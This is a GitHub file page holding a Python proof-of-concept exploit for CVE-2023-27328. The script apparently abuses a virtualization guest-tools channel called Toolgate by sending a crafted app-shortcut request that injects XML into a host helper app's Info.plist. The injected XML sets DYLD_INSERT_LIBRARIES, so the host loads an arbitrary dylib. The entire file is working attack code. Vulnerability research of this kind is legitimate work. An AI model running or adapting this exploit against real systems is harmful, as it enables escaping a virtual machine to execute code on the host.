-
Notifications
You must be signed in to change notification settings - Fork 6
/
2_plist_injection.py
executable file
·97 lines (86 loc) · 2.85 KB
/
2_plist_injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
# CVE-2023-27328
import argparse
import random
from pwn import *
from PIL import Image
from toolgate import *
tg = ToolgateClient()
def main(args):
plist_data = ''
if args.dylib:
dylib_path = args.dylib
log.info(f'Host will load {dylib_path}')
# This is the XML which will be inserted into the helper app Info.plist
plist_data = f"""evil</string>
</array>
</dict>
</array>
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>{dylib_path}</string>
</dict>
<key>blabla</key>
<array>
<dict>
<key></key>
<array>
<string>""".encode()
elif args.data:
plist_data = args.data.encode()
sgah_cmd = flat({
0: 20 + len(plist_data),
4: 0xACDCBABA,
8: 1,
12: len(plist_data),
16: 0x2028,
20: 0,
24: plist_data,
}, word_size=32)
log.info('Reading icon')
img = Image.open('./smile.png')
img_bytes = img.tobytes('raw', 'BGRA')
# Create a unique name so we're sure it will create a new app and not use
# an existing one.
rand_num = random.randint(1,10000)
bundle_name = f'Hacked_{rand_num}'
log.info(f'Creating {bundle_name}.app')
sgah_offset = 2000 + len(img_bytes)
buf1_data = flat({
0: 0x68, # opcode
4: 1,
8: 0,
12: 0,
16: len(sgah_cmd),
32: sgah_offset, # sgah_cmd offset
36: 0, # image icon flag, must be 0
40: f'{bundle_name}\0'.encode('utf-16le'),
562: f'/path/to/guest/binary_{rand_num}\0'.encode('utf-16le'),
1092: 'app shortcut item\0'.encode('utf-16le'),
1614: img.width, # image width
1618: img.height, # image height
1622: img_bytes, # image data
sgah_offset: sgah_cmd,
sgah_offset+1000: 0
}, word_size=32)
buf1 = tg.get_tg_buffer_from_data(buf1_data)
buf2 = tg.get_tg_buffer_from_data(b'\0'*len(buf1_data), writeable=True)
req = create_tg_request_type(0, 2)(TG_REQUEST_FAVRUNAPPS, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
tg.submit(req)
log.info('Done :)')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--data',
help='The data to insert into the plist file',
required=False)
parser.add_argument(
'--dylib',
help='Specify a path to a dylib which will be loaded with DYLD_INSERT_LIBRARIES',
required=False)
args = parser.parse_args()
if not args.data and not args.dylib:
print(f'Error: --data or --dylib required')
exit(1)
main(args)